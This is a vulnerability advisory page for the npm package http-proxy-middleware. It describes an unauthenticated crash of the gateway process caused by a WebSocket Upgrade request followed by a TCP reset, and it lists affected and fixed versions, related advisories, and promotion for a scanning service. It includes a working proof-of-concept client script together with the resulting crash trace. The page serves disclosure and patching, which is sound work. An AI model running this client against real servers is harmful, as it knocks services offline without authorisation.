http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
Published 1 Dec 2026 · Updated 1 Dec 2026
Affected packages
- Affected
- >=0.8.0 <2.0.12
- Fixed in
- 2.0.12
npm install http-proxy-middleware@2.0.12- Affected
- >=3.0.0-beta.0 <3.0.11
- Fixed in
- 3.0.11
npm install http-proxy-middleware@3.0.11- Affected
- >=4.0.0-beta.0 <4.2.2
- Fixed in
- 4.2.2
npm install http-proxy-middleware@4.2.2Which http-proxy-middleware does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Proof of concept
1. run gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";
const neverTrigger = () => console.log("neverTrigger");
const proxy = createProxyMiddleware({
target: "http://example.com",
pathFilter: "/ws",
ws: true,
on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
req,
res,
() => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");2. run client.js
import net from "net";
const socket = net.connect(5056, "127.0.0.1", () => {
socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
setTimeout(() => socket.resetAndDestroy(), 100);
});3. gateway process crash
node:events:505
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
errno: -54,
code: 'ECONNRESET',
syscall: 'read'
}
Node.js v24.22.3Impact
A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.
Is GHSA-hvp5-3mrg-q5hg in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected http-proxy-middleware, and gives you the command that fixes it.
More advisories for http-proxy-middleware
- MediumCVE-2026-140103http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival · 1 Dec 2026
- HighCVE-2026-55603http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody` · 18 Jun 2026
- MediumCVE-2026-55602http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass · 18 Jun 2026
- MediumCVE-2025-32996http-proxy-middleware can call writeBody twice because "else if" is not used · 15 Apr 2025
- MediumCVE-2025-32997http-proxy-middleware allows fixRequestBody to proceed even if bodyParser has failed · 15 Apr 2025
- HighCVE-2024-21536Denial of service in http-proxy-middleware · 19 Oct 2024
References
- Linkgithub.com/chimurai/http-proxy-middleware/security/advisories/GHSA-hvp5-3mrg-q5hg
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-140102
- Linkgithub.com/chimurai/http-proxy-middleware/pull/1328
- Linkgithub.com/chimurai/http-proxy-middleware/pull/1329
- Linkgithub.com/chimurai/http-proxy-middleware/pull/1330
- Linkgithub.com/chimurai/http-proxy-middleware/commit/386bed662facba30c5602ca211a5399f09cdd715
- Linkgithub.com/chimurai/http-proxy-middleware/commit/6911b4daefaa138767d4e4c35302b6dea2e2b64a
- Linkgithub.com/chimurai/http-proxy-middleware/commit/c82e123f831bae1f46d1d06d9c035e385771b7b9
- Packagegithub.com/chimurai/http-proxy-middleware
- Linkgithub.com/chimurai/http-proxy-middleware/releases/tag/v2.0.12
- Linkgithub.com/chimurai/http-proxy-middleware/releases/tag/v3.0.11
- Linkgithub.com/chimurai/http-proxy-middleware/releases/tag/v4.2.2
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.